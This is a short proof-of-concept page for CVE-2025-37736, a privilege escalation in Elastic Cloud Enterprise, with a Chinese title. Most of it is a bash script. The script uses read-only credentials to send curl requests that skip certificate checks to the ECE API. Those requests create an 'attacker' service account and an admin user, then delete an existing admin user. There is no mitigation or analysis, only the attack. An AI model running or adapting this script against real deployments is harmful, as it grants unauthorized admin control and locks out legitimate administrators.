CVE-2025-37736: Elastic Cloud Enterprise权限提升漏洞

#!/bin/bash # CVE-2025-37736 PoC - Elastic Cloud Enterprise Privilege Escalation # Requires readonly user credentials ECE_HOST="your-ece-host.com" USERNAME="readonly_user" PASSWORD="readonly_password" # Create a new service account (should not be allowed for readonly user) echo "[*] Attempting to create service account..." curl -k -X POST "https://$ECE_HOST:12400/api/v1/platform/configuration/security/service-accounts" \ -u "$USERNAME:$PASSWORD" \ -H "Content-Type: application/json" \ -d '{"id":"attacker-service-account","name":"Malicious Service Account"}' # Create a new user (should not be allowed for readonly user) echo "[*] Attempting to create new user..." curl -k -X POST "https://$ECE_HOST:12400/api/v1/users" \ -u "$USERNAME:$PASSWORD" \ -H "Content-Type: application/json" \ -d '{"user_name":"attacker","roles":["admin"]}' # Delete an existing user (should not be allowed for readonly user) echo "[*] Attempting to delete user..." curl -k -X DELETE "https://$ECE_HOST:12400/api/v1/users/admin_user" \ -u "$USERNAME:$PASSWORD" echo "[+] Privilege escalation test completed"